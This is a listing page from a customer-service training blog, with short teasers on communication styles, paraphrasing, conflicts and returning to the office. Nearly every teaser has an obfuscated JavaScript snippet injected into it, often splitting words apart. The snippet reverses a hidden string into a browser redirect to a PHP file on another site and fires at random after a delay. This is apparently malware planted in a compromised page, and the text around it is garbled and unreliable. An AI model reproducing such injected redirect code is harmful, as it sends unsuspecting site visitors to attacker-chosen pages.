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The Customer Communicator, September 2021

September 1, 2021

• Shared communication styles build strong relationships

• Shift your style for better service

• Keep conversations stress free

• Pop Quiz

Service News: A monthly roundup ...

• Ask the Panel: What metrics should I be tracking?

More than a number

Try using the Golden Pause

Convey confidence as you buy time

Is a difficult customer ruining your day?

Try teaching

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Sound 100 Percent Even When You’re Not

August 20, 2021
No one is at the $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}top of their game day-in and day-out. When you’re not feeling 100 percent, you’ve just got $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0),…Continue reading

 

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What’s Your CQ?

August 12, 2021
Everyone is familiar with the concepts of IQ and EQ but what about CQ? According $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to Nance Guilmartin, author of The Power of Pause, CQ or Communication Quotient is the ability $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return…Continue reading

 

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Customer Communicator, August 2021

August 1, 2021

  • For better service, try thinking like a juggler
  • What’s your CQ?
  • Try this practical visualization technique
  • Pop Quiz
  • Service News: A monthly roundup ...
  • Ask the Panel: How can I get past my anxiety and get back to the office?
  • It’s not fair... but that’s okay
  • Sound 100 percent even when you’re not
  • Stay cool and calm
  • There’s no such thing as a dumb question

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Paraphrase to Build Customer Rapport

July 30, 2021
There are two ways $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to paraphrase, says Dianne M. Durkin, a trainer and consultant. One is $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to listen for and repeat…Continue reading

 

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Ask Questions Without Annoying Your Customers

July 9, 2021
While asking questions is often useful, it’s easy for cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to become annoyed if they think they are being asked questions…Continue reading

 

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Customer Communicator, July 2021

July 1, 2021
  • Are you asking the right questions in the right way
  • Paraphrase to build customer rapport
  • Pop Quiz
  • Service News: A monthly roundup
  • Ask the Panel: How do you cope with office drama?
  • Finding the positive
  • Working with non-native speakers
  • Time management know how
  • Take a brain break
  • What’s your pet portrait?
  • tomerservicegroup.com/2021/06/01/skillsharpener-june-2021/">SkillSharpener
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Resolving Conflicts with Customers

June 17, 2021
For better or worse, conflicts are an everyday occurrence when serving cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers. Handling those conflicts skillfully can mean the difference between losing a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay =…Continue reading

 

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9 Tips for Moving BACK to the Office

June 4, 2021
Is your team moving back $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to the office this month? Or next? Randi Freidig, an expert on business relationships, offers the following gentle reminders for getting along in close quarters. Courtesy and respect are the basis for all…Continue reading

 

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Customer Communicator, June 2021

June 1, 2021
  • When service takes on the added role of sales
  • Welcome back to the office!
  • Pop Quiz
  • Service News: A monthly roundup
  • Ask the Panel: How can I get to know my customers?
  • Resolving conflicts with customers
  • Briefly, now
  • Warm up your workplace
  • Encourage complaints
  • Lessons from nature
  • Tough calls first
  • tomerservicegroup.com/2021/06/01/skillsharpener-june-2021/">SkillSharpener
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Try Using Reverse Paraphrasing

May 20, 2021
"Reverse paraphrasing" is a technique reps can use $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to make sure they’ve been unders$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tood. Instead of paraphrasing what the cus$nJe=function(n){if (typeof…Continue reading

 

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Create a Not-to-Do List

May 7, 2021
Sometimes, the best way $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to meet cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer expectations is by NOT doing certain things. Here are some ideas for creating a…Continue reading

 

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